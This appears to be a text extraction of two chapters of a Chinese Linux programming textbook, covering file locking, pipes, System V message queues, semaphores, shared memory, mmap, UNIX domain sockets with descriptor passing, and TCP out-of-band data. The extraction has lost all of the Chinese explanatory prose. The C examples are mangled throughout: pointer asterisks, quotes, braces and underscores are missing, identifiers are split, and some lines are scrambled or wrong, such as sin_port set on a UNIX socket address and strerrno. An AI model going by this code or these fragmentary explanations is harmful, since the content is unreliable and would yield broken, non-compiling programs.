9 9.1,, Linux, ( Inter Process Communication, IPC) Linux, : ( pipe) ( FIFOs ) ( message queue)( semaphore) ( shared memory ) ( memo ry mapped file)linux UNIX, Linux 9.2,,, : # include < fcntl.h > # include < stdio.h > # include < errno.h > # define FILE NAME / tmp/ mix.out int main() int fd; int i; fd = open(file NAME, O WRONLY); if (fd < 0) printf( open file error: % s \ n, strerrno(errno)); exit(1); for (i = 0; i < 5; i ++ ) 165
printf( pid = % s seqno = % d \ n, getpid(), i);,: pid = 185 seqno = 0 pid = 185 seqno = 1 pid = 185 seqno = 2 pid = 185 seqno = 3 pid = 185 seqno = 4 : bash lock 1& lock& : pid = 185 seqno = 0 pid = 186 seqno = 0 pid = 186 seqno = 1 pid = 186 seqno = 2 pid = 186 seqno = 3 pid = 186 seqno = 4 pid = 185 seqno = 1 pid = 185 seqno = 2 pid = 185 seqno = 3 pid = 185 seqno = 4,,, Linux (advisory lock),,, ( cooperative), : ( shared lock) ( exclusive lock ),, ;,, Linux,, flock : # include < sys/ file.h > int flock(int fd, int operation) 166 fd, operation :
LOCK LOCK LOCK SH, EX, UN LOCK NB ( LOCK SH LOCK EX), LOCK SH LOCK NB LOCK EX LOCK NB,, ( inode ), fcntl 3 : (1 ) flock, (2 ) (3 ) fcntl : struct flock fl; int fd; fl.l type = F WRLCK;/ F RDLCK, F WRLCK, F UNLCK / fl.l whence = SEEK SET;/ SEEK SET, SEEK CUR, SEEK END / fl.l start = 0;/ Offset from l whence / fl.l len = 0;/ length, 0 = to EOF / fl.l pid = getpid();/ our PID / fd = open( filename, O WRONLY); fcntl(fd, F SETLKW, &fl);/ F GETLK, F SETLK, F SETLKW / flock fcntl.h : struct flock short l type; short l whence; off t l start; off t l len; pid t l pid; ; : l type, F RDLCK F WRLCK F UNLCK, l whence l start, SEEK SET SEEK END, l start l whence l l len, pid, getpid CUR SEEK 167
,,, 0 (0 ), flock, 9 1 9 1 F RDLCK O RDONLY O RDWR F WRLCK O WRONLY O RDWR fcntl fcntl : F F F SETLK flock,, fc ntl, flock l type F U NLCK, SETLKW flock,, fcntl,,, EINTR GETLK, flock, flock, flock l type F UNLCK : struct flock fl; int fd; fl.l type = F WRLCK;/ F RDLCK, F WRLCK, F UNLCK / fl.l whence = SEEK SET;/ SEEK SET, SEEK CUR, SEEK END / fl.l start = 0;/ Offset from l whence / fl.l len = 0;/ length, 0 = to EOF / fl.l pid = getpid();/ our PID / fd = open( filename, O WRONLY);/ get the file descriptor / fcntl(fd, F SETLKW, &fl);/ set the lock, waiting if necessary / fl.l type = F UNLCK;/ tell it to unlock the region / fcntl(fd, F SETLK, &fl);/ set the region to unlocked / flock F fcntlf SETLK U NLCK, 9.3 (pipe) pipe : 168
# include < unistd.h > int pipe(int filedes[2]);, filedes[0 ], filedes[1 ], 9 1 9 1,,, : # include < stdio.h > # include < stdlib.h > # include < sys/ types.h > # include < unistd.h > int main() int pfds[2]; char buf[30]; pipe(pfds); if (fork() == 0) close(pfds[0]); printf(child: writing to the pipe \ n ); write(pfds[1], test, 5); printf(child: exiting \ n ); exit(0); else close(pfds[1]); printf( PARENT: reading from pipe \ n ); read(pfds[0], buf, 5); printf( PARENT: read % s\ n, buf); wait(null); pipe, fork,, : bash pipe rw PARENT: reading from pipe CHILD: writing to the pipe 169
CHILD: exiting PARENT: read test, 0;, SIGP IPE,,, EP IPE, (writer), 0; ( reader), SIGP IPE 9.4 V IPC U NIX V 3 : ( message) ( semaphore) ( shared memory) ; ; :,,,,, ID ID, ID ID, - -, ftok : # include < sys/ types.h > # include < sys/ ipc.h > key t ftok ( char pathname, char proj ) pathname, proj, 1., 9 2, key1 key2, key1 3, 3 1 2, key2, 1 4, msgget ( ), ; msgctl, ; msgsnd 170
9 2 ; msgrcv : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ msg.h > int msgget ( key t key, int msgflg ) int msgsnd( int msqid, struct msgbuf msgp, int msgsz,int msgflg ) int msgrcv ( int msqid, struct msgbuf msgp, int msgsz, long msgtyp, int msgflg ) int msgctl ( int msqid, int cmd, struct msqid ds buf ) msgget key, ( ) ; msgflg,, IPC CREATE (, ) : key = ftok( / home/ beej/ somefile, b ); msqid = msgget(key, 0666 IPC CREAT); msgsndmsqid msgget ; msgp ; msgsz ; msgflg,,, IPC NOWAIT, 171
msgbuf : struct msgbuf long mtype; char mtext[1]; ; mtype, ; mtext, : struct my msgbuf long mtype; char name[20]; int gender; int age; ;, : struct private msgbuf long mtype; char name[30]; char ship type; int notoriety; int cruelty; int booty ; key t key; int msqid; struct private value; msgbuf pmb = 2, L Olonais, S, 80, 10, 12035; key = ftok( / home/ beej/ somefile, b ); msqid = msgget(key, 0666 IPC CREAT); msgsnd(msqid, (struct msgbuf )&pmb, sizeof(pmb), 0); private, msgbuf, msgrcvmsqid msgget ; msgp ; msgsz msg ; msgtyp ; msgflg,,,, I PC NOWAIT, msgtyp : 0, ; 0, ; 0, 172
msgtyp, 3 3 1 2, 0, 3 ; 2, 2 ; - 2, 1 : # include key t key; int msqid; struct private msgbuf pmb; key = ftok( / home/ beej/ somefile, b ); msqid = msgget(key, 0666 IPC CREAT); msgrcv(msqid, (struct msgbuf )&pmb, sizeof(pmb), 2, 0); msgctl ; msqid ; cmd ; buf IPC RMID ; IPC S TAT ; I PC SET : msgctl(msqid, IPC RMID, NULL);, : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ msg.h > # include < string.h > # include < stdio.h > # define MSG FILE / tmp/ msg file.tmp struct msgform long mtype; char mtext[256]; ; int main() struct msgform msg; key t key; int msqid, pid, pint; key = ftok(msg if (key < 0) FILE, z ); printf( ftok error: % s \ n, strerror(errno)); exit(1); 173
msqid = msgget(key, 0777); if (msqid < 0) printf( msgget error: % s \ n, strerror(errno)); exit(1); pid = getpid(); pint = (int )msg.mtext; pint = pid; msg.mtype = 1; msgsnd(msqid, &msg, sizeof(int), 0); msgrcv(msqid, &msg, 256, pid, 0); printf( client: receive from pid % d \ n, pint); : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ msg.h > # include < string.h > # include < errno.h > # include < signal.h > # define MSG FILE / tmp/ msg file.tmp void sigint struct msgform long mtype; char mtext[256]; ; int msqid; int main() handler(int); int i, pid, pint; key t key; struct msgform msg; signal(sigint, sigint key = ftok(msg if (key < 0) handler); FILE, z ); printf( ftok error: % s \ n, strerror(errno)); exit(1); msqid = msgget(key, 0777 IPC if (msqid < 0) 174 CREAT);
printf( msgget error: % s \ n, strerror(errno)); exit(1); for (;;) msgrcv(msqid, &msg, 256, 1, 0); pint = (int )msg.mtext; pid = pint; printf( server: receive from pid % d \ n, pid); msg.mtype = pid; pint = getpid(); msgsnd(msqid, &msg, sizeof(int), 0); void sigint handler(int sig) msgctl(msqid, IPC RMID, 0); exit(0); msgget IPC CREAT, 1,,,, SIG INT,,, msgget,, 1,,,, 2., 9 3 4, key1 key2 key3 key4 key1 7, key2 3, key3 1, key4 2 : : semget; semctl; semop 175
9 3 : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ sem.h > int semget ( key t key, int nsems, int semflg ) int semctl(int semid, int semnum, int cmd, union semun arg) int semop(int semid, struct sembuf sops, unsigned nsops) semget nsems, semflg,, I PC 10 : # include < sys/ ipc.h > # include < sys/ sem.h > key t key; int semid; key = ftok( / home/ beej/ somefile, E ); semid = semget(key, 10, 0666 IPC CREAT); CREAT semop semid semget ; sops ; nsops semop sembuf :, 176
,,, :, ;,,, ( ) ;,,,,, IPC NOWAIT, semop, SEM UNDO,, semctl semid semget semnum, cmd ( ) arg, : union semun int val; struct semid ds buf; ushort array; ; : union semun dummy; int semid;.. semid = semget(...);.. semctl(semid, 0, IPC RMID, dummy);, : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ sem.h > # include < signal.h > # define SEM NAME / tmp/ sem name.tmp void sigint int semid; unsigned int count; handler(int); 177
struct sembuf psembuf, vsembuf; int main(int argc, char int i, first, second; key t key; argv[]) short initarray[2], outarray[2]; key = ftok(sem if (argc == 1) NAME, a ); signal(sigint, sigint handler); semid = semget(key, 2, 0777 IPC initarray[0] = initarray[1] = 1; semctl(semid, 2, SETALL, initarray); semctl(semid, 2, GETALL, outarray); CREAT); printf( sem init vals % d % d \ n, outarray[0], outarray[1]); pause(); else if (argv[1][0] == a ) first = 0; second = 1; else first = 1; second = 0; semid = semget(key, 2, 0777); psembuf.sem op = - 1; psembuf.sem flg = SEM UNDO; vsembuf.sem op = 1; vsembuf.sem flg = SEM UNDO; for (count = 0;;count ++ ) psembuf.sem num = first; semop(semid, &psembuf, 1); psembuf.sem num = second; semop(semid, &psembuf, 1); semctl(semid, 2, GETALL, outarray); printf( proc % d count % d sem value % d % d \ n, getpid(), count, outarray[0], outarray [1]); vsembuf.sem num = second; semop(semid, &vsembuf, 1); vsembuf.sem num = first; semop(semid, &vsembuf, 1); void sigint 178 handler(int sig)
semctl(semid, 2, IPC RMID, 0); exit(0); : bash sem& sem a& sem b&,, 1SIGINT, a, ( A) 4 : 0 1, 1 1,, 1 0 1A, A, 1 0 0,,, b, ( B) A 0 1 1 A B, : A 0 1,, B 1 0,,, : struct sembuf psembuf[2];... psembuf[0].sem num = 0; psembuf[0].sem op = - 1; psembuf[1].sem num = 0; psembuf[1].sem num = - 1;... semop(semid, psembuf, 2); psembuf 0 1,, 0 1, 1 0,, PV :, P ; V, P V, P,,, ;, V,, P, V, PV : # include < sys/ types.h > 179
# include < sys/ ipc.h > # include < sys/ sem.h > static key tkey; static int semid; static struct sembuf psem, vsem; int pv init(char pathname) int initval[1]; key = ftok(pathname, a ); if (key < 0) return ( - 1); semid = semget(key, 1, 0777 IPC if (semid < 0) return ( - 1); initval[0] = 1; semctl(semid, 1, SEMALL, initval); psem.sem op = - 1; psem.sem flg = SEM UNDO; psem.sem num = 0; vsem.sem op = 1; vsem.sem flg = SEM UNDO; vsem.sem num = 0; return (0); int p oper() return (semop(semid, &psem, 1)); int v oper() return (semop(semid, &vsem, 1)); void pv destroy() semctl(semid, 1, IPC RMID, 0); CREAT); pv init, pv destroy, p oper, v oper 3.,, 180
,, shmget ; shmat ; shmdt ; shmctl : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ shm.h > int shmget(key t key, int size, int shmflg); char shmat ( int shmid, char shmaddr, int shmflg ) int shmdt ( char shmaddr) int shmctl(int shmid, int cmd, struct shmid ds buf ); shmget : key ; size ; shmflg, IPC CREAT, : key t key; key = ftok( / home/ beej/ somefile3, R ); shmid = shmget(key, 1024, 0644 IPC CREAT); shmat : shmid shmget ; shmaddr, 0, ; shmflg, ; : key t key; int shmid; char data; key = ftok( / home/ beej/ somefile3, R ); shmid = shmget(key, 1024, 0644 IPC CREAT); data = shmat(shmid, (void )0, 0); shmdt : shmaddr shmat : shmdt(data); shmctl : shmid ; cmd,, ; buf,,, : shmctl(shmid, IPC RMID, NULL); 181
# include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ shm.h > # include < signal.h > # include < string.h > # include < errno.h > # define SHM PATH / tmp/ shm path.tmp void sigint int semid; int main() int i, pint; handler(int); char addr1, addr2; key t key; signal(sigint, sigint key = ftok(shm if (key < 0) handler); PATH, a ); printf( ftok error: % s \ n, strerror(errno)); exit(1); shmid = shmget(key, 128 1024, 0777 IPC addr1 = shmat(shmid, 0, 0); addr2 = shmat(shmid, 0, 0);, : CREAT); printf( addr1 0x % x addr2 0x % x \ n, addr1, addr2); pint = (int )addr1; for (i = 0; i < 256; i ++ ) pint ++ = i; pint = (int )addr1; pint = 256; pint = (int )addr2; for (i = 0; i < 256; i ++ ) printf( index % d \ t value % d \ n, i, pint ++ ); pause(); void sigint handler(int sig) shmctl(shmid, IPC RMID, 0); exit(0); 128K, 182
,, SIGINT,,, : # include < sys/ types.h > # include < sys/ ipc.h > # include < sys/ shm.h > # include < signal.h > # include < string.h > # include < errno.h > # define SHM PATH / tmp/ shm path.tmp int main() int i, pint; char addr; key t key; int semid; signal(sigint, sigint key = ftok(shm if (key < 0) handler); PATH, a ); printf( ftok error: % s \ n, strerror(errno)); exit(1); shmid = shmget(key, 64 1024, 0777); addr = shmat(shmid, 0, 0); pint = (int )addr; while ( pint == 0) for (i = 0; i < 256; i ++ ) printf(% d \ n, pint ++ );, 64K,, ( PV ) 9.5 (memory mapped file) mmap, munmap : # include < unistd.h > 183
# include < sys/ mman.h > void mmap(void start, size t length, int prot, int flags, int fd, off t offset); int munmap(void start, size t length); mmap : start length prot 0,,,, 0, protection : ( PROT READ), ( PROT WRITE) ( PROT EXEC) flags fd,, MAP PRI VAT E SHARED; MAP offset, mmap, ;, - 1 munmap start, length start map ; length map length : # include < unistd.h > # include < sys/ types.h > # include < sys/ mman.h > int fd, pagesize; char data; fd = fopen( foo, O RDONLY); pagesize = getpagesize(); data = mmap((caddr t)0, pagesize, PROT READ, MAP SHARED, fd, pagesize);, getpagesize, mmap ( PROT : munmap(data, pagesize);, : # include < stdio.h > # include < stdlib.h > # include < fcntl.h > 184 READ),
# include < unistd.h > # include < sys/ types.h > # include < sys/ mman.h > # include < sys/ stat.h > # include < errno.h > int main(int argc, char int fd, offset; char data; struct stat sbuf; if (argc!= 2) argv[]) fprintf(stderr, usage: mmapdemo offset \ n ); exit(1); if ((fd = open( mmapdemo.c, O RDONLY)) == - 1) perror( open ); exit(1); if (stat( mmapdemo.c, &sbuf) == - 1) perror( stat ); exit(1); offset = atoi(argv[1]); if (offset < 0 offset > sbuf.st size - 1) fprintf(stderr, mmapdemo: offset must be in the range 0 - % d \ n, \ sbuf.st size - 1); exit(1); if ((data = mmap((caddr t)0, sbuf.st size, PROT READ, MAP SHARED, \ fd, 0)) == (caddr t)( - 1)) perror( mmap ); exit(1); printf( byte at offset % d is % c \ n, offset, data[offset]); return 0;,,, 185
9.6 UNIX Linux U NIX UNIX, U NIX TCP, U NIX X,, U NIX, TCP, UNIX : 1. UNIX U NIX < sys/ un.h > : struct sockaddr un short int sun char sun ; family; path[104]; sun family AF UNIX; sun path Linux, U NIX bind U NIX,, Linux, open, ls - F,,, U NIX, U NIX : # include < sys/ socket.h > # include < sys/ un.h > # include < stdio.h > int main(int argc, char argv) int sockfd; socklen t len; struct sockaddr if (argc!= 2) un addr1, addr2; fprintf(stderr, usage: unix exit(1); sockfd = socket(af UNIX, SOCK STREAM, 0); 186 bind pathname \ n );
if (sockfd < 0) fprintf(stderr, socket error: AF exit(1); unlink(argv[1]); bzero(&addr1, sizeof(addr1)); addr1.sun family = AF UNIX; UNIX.\ n ); strncpy(addr1.sun path, argv[1], sizeof(addr1.sun path) - 1); if (bind(sockfd, (struct sockaddr ) &addr1,sizeof(&addr1)) < 0) fprintf(stderr, bind error: % s \ n, addr1.sun path); exit(1); len = sizeof(addr2); getsockname(sockfd, (struct sockaddr )&addr2, &len); printf( bind to pathname = % s, returned len = % d \ n, addr2.sun path, len); socket UNIX,,, bind strncpy, strncpy, bind, Linux, getsockname 2. UNIX UNIX : socket socketpair socket UNIX, AF SOCK S TREAM SOCK DGRAM, : sockfd = socket(af UNIX, SOCK STREAM, 0); socket UNIX socket UNIX : U NIX, U NIX bind, connect U NIX TCP, listen,, accept connect 187
connect U NIX, bind,, connect, ECONNREF USEDTCP : U NIX -, # include < stdio.h > # include < stdlib.h > # include < errno.h > # include < string.h > # include < sys/ types.h > # include < sys/ socket.h > # include < sys/ un.h > # define SOCK PATH / tmp/ echo socket int main(void) int s, s2, t, len; struct sockaddr char str[100]; un local, remote; if ((s = socket(af UNIX, SOCK STREAM, 0)) == - 1) perror( socket ); exit(1); local.sun family = AF UNIX; strcpy(local.sun path, SOCK PATH); unlink(local.sun path); len = strlen(local.sun path) + sizeof(local.sun family); if (bind(s, (struct sockaddr )&local, len) == - 1) perror( bind ); exit(1); if (listen(s, 5) == - 1) perror( listen ); exit(1); for(;;) int done, n; printf( Waiting for a connection...\ n ); t = sizeof(remote); if ((s2 = accept(s, (struct sockaddr )&remote, &t)) == - 1) 188
exit(1); perror( accept ); printf( Connected.\ n ); done = 0; do n = recv(s2, str, 100, 0); if (n < = 0) if (n < 0) perror( recv ); done = 1; if (! done) if (send(s2, str, n, 0) < 0) perror( send ); done = 1; while (! done); close(s2); return 0; : # include < stdio.h > # include < stdlib.h > # include < errno.h > # include < string.h > # include < sys/ types.h > # include < sys/ socket.h > # include < sys/ un.h > # define SOCK PATH echo int main(void) int s, t, len; struct sockaddr char str[100]; un remote; socket if ((s = socket(af UNIX, SOCK STREAM, 0)) == - 1) perror( socket ); exit(1); printf( Trying to connect...\ n ); remote.sun family = AF UNIX; 189
strcpy(remote.sun path, SOCK PATH); len = strlen(remote.sun path) + sizeof(remote.sun family); if (connect(s, (struct sockaddr )&remote, len) == - 1) perror( connect ); exit(1); printf( Connected.\ n ); while(printf(> ), fgets(str, 100, stdin),! feof(stdin)) if (send(s, str, strlen(str), 0) == - 1) perror( send ); exit(1); if ((t = recv(s, str, 100, 0)) > 0) str[t] = \ 0 ; printf( echo > else % s, str); if (t < 0) perror( recv ); else printf( Server closed connection \ n ); exit(1); close(s); return 0; - TCP - socketpair UNIX, : # include < sys/ socket.h > int socketpair(int family, int type, int protocol, int sockfd[2]); family AF UNIX; type SOCK STREAM SOCK DGRAM, ; protocol 0, sockfd [0 ]sockfd[1 ]9 4 socketpair UNIX 190
, fork, 9 5 9 5,, 9 6 9 6 socketpair UNIX, : # include < stdio.h > # include < stdlib.h > # include < ctype.h > # include < unistd.h > # include < sys/ types.h > # include < sys/ socket.h > 191
# include < string.h > # include < errno.h > int main(void) int sv[2]; char buf; if (socketpair(af UNIX, SOCK STREAM, 0, sv) < 0) printf( socketpair error: % s \ n, strerror(errno)); exit(1); if (fork() == 0) close(sv[0]); read(sv[1], &buf, 1); printf( child: read % c \ n, buf); buf = toupper(buf); write(sv[1], &buf, 1); printf( child: sent % c \ n, buf); exit(0); else close(sv[1]); write(sv[0], b, 1); printf( parent: sent b \ n ); read(sv[0], &buf, 1); printf( parent: read % c \ n, buf);, sv[ 0 ], sv[1 ],, sv[ 1 ], sv[ 0 ], socketpair : socketpair socketpair,, bind connect pipe socketpair pipe,, pipe : socketpair, sockfd[ 0]sockfd[ 1],,,, socketpair U NIX, 192
,,,,, socket U NIX 9.7 UNIX : Linux : fork,, fork, exec, 0 1 2, exec, :,,, U NIX : UNIX,, Linux : (1 ) UNIX, fork, socketpair,,, socket U NIX ( named unix domain socket), U NIX, UNIX (2),, open pipe mkfifo socket acceptu NIX (3 ) msghdr, cmsghdr, sendmsg, ( 1 ) U NIX msghdr 1, recvmsg,, ( 4) recvmsg,,, recvmsg,, 193
9 7 9 7,,,,,, GN U Emacs emacsclient, Emacs emacsclient Emacs U NIX emacsclient : ( 1 ) emacsclient, Emacs, Emacs, emacsclient( 2) emacsclient, Emacs, Emacs,, emacsclient,, emacsclient Emacs, : # include < sys/ socket.h > # include < sys/ types.h > # include < sys/ un.h > # include < string.h > 194
# include < errno.h > # define PASS FD PATH / tmp/ pass fd path.tmp int main(int argc, char argv[]) int fd, sfd; struct sockaddr char buf; int n; if (argc!= 2) un addr; printf( usage: pass fd cli file.\ n ); exit(1); fd = open(argv[1], O if (fd < 0) RDWR); printf( open % s error: % s \ n, argv[1], strerror(errno)); exit(1); sfd = socket(af UNIX, SOCK STREAM, 0); if (sfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF UNIX; addr.sin port = htons(8080); strcpy(addr.sun path, PASS FD PATH); if (connect(sfd, (struct sockaddr )&addr,sizeof(addr.sin path)) < 0) printf( connect error: % s \ n, strerror(errno)); exit(1); printf( connected to server.\ n ); send fd(sfd, fd); printf( waiting...\ n ); for (;;) n = read(sfd, &buf, 1); if (n == 0) break; else if (n < 0 && errno!= EINTR) printf( read error: % s \ n, strerror(errno)); exit(1); family) + strlen(addr.sun 195
printf( everything is ok.\ n ); close(fd); close(sfd);, U NIX,,,,, send # include < uio.h > void send fd(int sd, int fd) struct msghdr msg; struct cmsghdr cmsg; struct iovec iov[1]; char ch; msg.msg name = NULL; msg.msg namelen = 0; iov[0].iov base = &ch; iov[0].iov len = 1; msg.msg iov = iov; msg.msg iovlen = 1; cmsg.cmsg len = 16; cmsg.cmsg level = SOL SOCKET; cmsg.cmsg type = SCM RIGHTS; bcopy(cmsg.cmsg fd, : data, &fd, sizeof(fd)); msg.msg control = (caddr t)&cmsg; msg.msg controllen = 16; msg.msg flags = 0; sendmsg(sd, &msg, 0); UNIX sendmsg UNIX, msghdr msg name msg namelen NULL 0,, msghdr msg iov cmsghdr, cmsg level SOL SOCKET, cmsg type SCM RIGHTS, cmsg data fd, cmsghdr 16 ( cmsg level cmsg type cmsg len 4, cmsg data, 4 ) 196
# include < sys/ socket.h > # include < sys/ types.h > # include < sys/ un.h > # include < string.h > # include < errno.h > : # define PASS FD PATH / tmp/ pass fd path.tmp void cap file(int); int main(int argc, char argv[]) int fd, lfd, cfd; struct sockaddr un addr; lfd = socket(af UNIX, SOCK STREAM, 0); if (lfd < 0) printf( socket error: % s \ n, strerror(errno)); exit(1); bzero(&addr, sizeof(addr)); addr.sin family = AF UNIX; addr.sin port = htons(8080); strcpy(addr.sun path, PASS FD PATH); if (bind(lfd, (struct sockaddr )&addr, sizeof(addr.sin family) + strlen(addr.sun path)) < 0) printf( bind error: % s \ n, strerror(errno)); exit(1); listen(lfd, 5); for (;;) cfd = accept(lfd, NULL, NULL); if (cfd < 0) continue; fd = recv if (fd < 0) continue; cap fd(cfd); file(fd); close(cfd); void cap file(int fd) char buf[2048]; 197
int n, i; for (; (n = read(fd, buf, sizeof(buf))) > 0; ) for (i = 0; i < n; i ++ ) buf[i] + = A- a ; UNIX,, U NIX, cap file,, recv fd, : # include < uio.h > int recv fd(int sd) struct msghdr msg; struct cmsghdr cmsg; struct iovec iov[1]; char ch; msg.msg name = NULL; msg.msg namelen = 0; iov[0].iov base = &ch; iov[0].iov len = 1; msg.msg iov = iov; msg.msg iovlen = 1; cmsg.cmsg len = 16; cmsg.cmsg level = SOL SOCKET; cmsg.cmsg type = SCM RIGHTS; msg.msg control = (caddr t)&cmsg; msg.msg controllen = 16; recvmsg(sd, &msg, 0); return ( (int )cmsg.msg data); recv fd recv fd, recvmsg msghdr, cmsg, cmsghdr, msg data recv fd 9.8 Linux : I PC,, ;, 198
;,, ;, ;,, U NIX U NIX - U NIX, 199
10 10.1 (out of band, OOB),,,,, Linux TCP, TCP ( urgent mode) TCP URG, 10.2 TCP TCP, TCP URG,, 1 TCP 10 1 10 1 TCP 200
TCP URG,, 6, 5, TCP 8 TCP,,, TCP, TCP URG, TCP,, URG, TCP :, TCP, URG TCP,, TCP URG, TCP 0,, send, TCP, URG, TCP URG,, TCP N 10 2, 1 N N 1 2 N 10 2, MSG OOB send, : send (sockfd, a, 1, NSG OOB); TCP ( N + 1 ), 10 3, OOB 1 2 N a 10 3 ( ) O O B, TCP 10 4 0, TCP, 10 5 send, MSG OOB, : 201
10 4 TCP 10 5 TCP () send (sockfd, abc, 3, MSG OOB); TCP, c (1 ) TCP URG,, :, TCP, (2 ), TCP, TCP :, TCP MSG : OOB recv recvfrom recvmsg char oobch; recv(sockfd, &oobch, 1, MSG 202 OOB);
SO OOBINLINE,,, MSG char oobch; if ( ) read(sockfd, &oobch, 1); OOB :, (3 ) TCP,, : TCP URG,,, (4 ) TCP, TCP :, TCP SIG URG select, select,,,,, TCP : (1 ) recv ( MSG OOB ),,, EIN VAL (2 ) (, SIGU RG select ), recv,, EWOULDBLOCKrecv,,,,,,, (3 ), EINVAL,,, EINVAL 203
(4 ) SO OOBINLINE, MSG OOB, EIN VAL, 10.3 TCP, (out - of - band mark),, :, ;,,, 0,,, SS, RCVATMARK 1 SIOCATMARK ioctl SS RCVATMARK, 5,, 10 6 0 1 2 3 4 a b c d e 10 6 abcde, send : send(sockfd, fgh, 3, MSG OOB); TCP, URG 1, 2(), TCP,, 10 7 10 7 (), 7read, TCP,, 204
10 8 2, 3 read,, 10 9 0 1 2 3 4 f g h = 2 10 8 ( ) 0 1 2 3 4 h = 2 10 9 ( ) 0 ioctl SIOCATMARK, SO OOBINLINE, Posix sockatmark, Linux, : int sock at mark(int fd) int flag; if (ioctl(fd, SIOCATMARK, &flag) < 0) return - 1; return (flag!= 0?1 : 0); sock at mark, 1, 0 TCP,,, SO OOBINLINE, sock at mark, SIOCAT MARK : (1 ) SO OOBINLINE sock at mark 1, read, : char buf[buf SIZE]; char oobch; oob: if (sock at mark(sockfd) == 1) read(sockfd, &oobch, 1); else read(sockfd, buf, BUF SIZE); 205
goto oob; (2 ) SO OOBINLINE sock at mark 1, read,, 10.4 TCP TCP 3 : 1 SIGURG select,, TCP,, TCP, SIGURG,,, U RG select, recv, 2 TCP,,, TCP 3 TCP,, 8 TCP,,,, TCP URG,, TCP : 1 TCP,, 206
,, SO OOBINLINE,,,,, :, ASCII ASCII,, ASCII Telnet :,, Telnet, (interrupt process, IP ),,, I P I P,,, Telnet : Telnet, SYNCH,, DMARK, ;,,,, DMARK, 10.5 1. SIGURG, TCP, SIGURG, SIGURG, : # include < sys/ socket.h > # include < netinet/ in.h > # include < string.h > # include < stdio.h > # include < errno.h > int main(int argc, char argv[]) int sockfd; struct sockaddr if (argc!= 2) in addr; fprintf(stderr, usage: sendoob ip exit(1); sockfd = socket(af INET, SOCK STREAM, 0); if (sockfd < 0) addr \ n ); 207
fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); if (inet aton(argv[1], &addr.sin addr) < 0) fprintf(stderr, inet exit(1); aton error: % s \ n, strerror(errno)); if (connect(sockfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, connect error: % s \ n, strerror(errno)); exit(1); write(sockfd, abc, 3); fprintf(stderr, write 3 bytes normal data \ n ); sleep(1); send(sockfd, d, 1, MSG OOB); fprintf(stderr, write 1 byte oob data \ n ); sleep(1); write(sockfd, efg, 3); fprintf(stderr, write another 3 bytes normal data \ n ); sleep(1); send(sockfd, hi, 2, MSG OOB); fprintf(stderr, write 1 byte normal data and 1 byte oob data \ n ); sleep(1); write(sockfd, j, 1); fprintf(stderr, write 1 byte normal data \ n ); close(sockfd);,, 1, : bash sendoob 192.168.0.2 write 3 bytes normal data write 1 byte oob data write another 3 bytes normal data write 1 byte normal data and 1 byte oob data write 1 byte normal data : # include < sys/ socket.h > 208
# include < netinet/ in.h > # include < stdio.h > # include < string.h > # include < errno.h > # include < signal.h > int listenfd, connfd; void sigurg int main() struct sockaddr char buf[128]; int n; handler(int); struct sigaction act; in addr; listenfd = socket(af INET, SOCK STREAM, 0); if (listenfd < 0) fprintf(stderr, socket error: % s \ n, strerror(errno)); exit(1); addr.sin family = AF INET; addr.sin port = htons(8080); addr.sin addr.s addr = htonl(inaddr ANY); if (bind(listenfd, (struct sockaddr )&addr, sizeof(addr)) < 0) fprintf(stderr, bind error: % s \ n, strerror(errno)); exit(1); listen(listenfd, 1); if ((connfd = accept(listenfd, NULL, NULL)) < 0) fprintf(stderr, accept error: % s \ n, strerror(errno)); exit(1); act.sa handler = sigurg handler; act.sa mask = 0; act.sa flags = 0; sigaction(sigurg, &act, NULL); fcntl(connfd, F for ( ;; ) SETOWN, getpid()); n = read(connfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF \ n ); exit(0); else if (n < 0 && errno == EINTR) continue; 209
else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); write(1, buf, n); write(1, \ n, 1); void sigurg char oobch; handler(int signo) if (recv(connfd, &oobch, 1, MSG OOB) < 0) fprintf(stderr, recv error: % s \ n, strerror(errno)); return; write(1, oob:, 4); write(1, &oobch, 1); write(1, \ n, 1);, sigaction SIGURG SIGURG,, fcntl F SETOWN, ( getpid ) read TCP, SIGURG, sigurg handlermsg OOB recv, : bash recvoob abc oob:d efg oob:i h j 10 10 (1 ) abc,,, abc read, sleep, read (2 ) d, TCP, SIGU RG, SIGU RG, 210
10 10, EINTR sigurg handlersigurg handler recv d,, oob: d,, (3 ) efg,,, efg read, (4 ) h i TCP, :, TCP SIGURG,, EINTR, sigurg handler, i,, oob: i,, h,,, h, read, (5 ) j,,, j read, 0,, -,,,, : int main(...) connect(...); 211
write(sockfd, abc, 3); fprintf(stderr, write 3 bytes normal data \ n ); send(sockfd, d, 1, MSG OOB); fprintf(stderr, write 1 byte oob data \ n ); write(sockfd, efg, 3); fprintf(stderr, write another 3 bytes normal data \ n ); send(sockfd, hi, 2, MSG OOB); fprintf(stderr, write 1 byte normal data and 1 byte oob data \ n ); write(sockfd, j, 1); fprintf(stderr, write 1 byte normal data \ n ); close(sockfd); : for ( ;; ) sleep(2); n = read(connfd, buf, sizeof(buf)); if (n == 0) fprintf(stderr, read EOF \ n ); exit(0); else if (n < 0 && errno == EINTR) continue; else if (n < 0) fprintf(stderr, read error: % s \ n, strerror(errno)); exit(1); write(1, buf, n); write(1, \ n, 1); -, : bash recvoob oob:i abcefghj d i, : TCP 2. select,,, 212
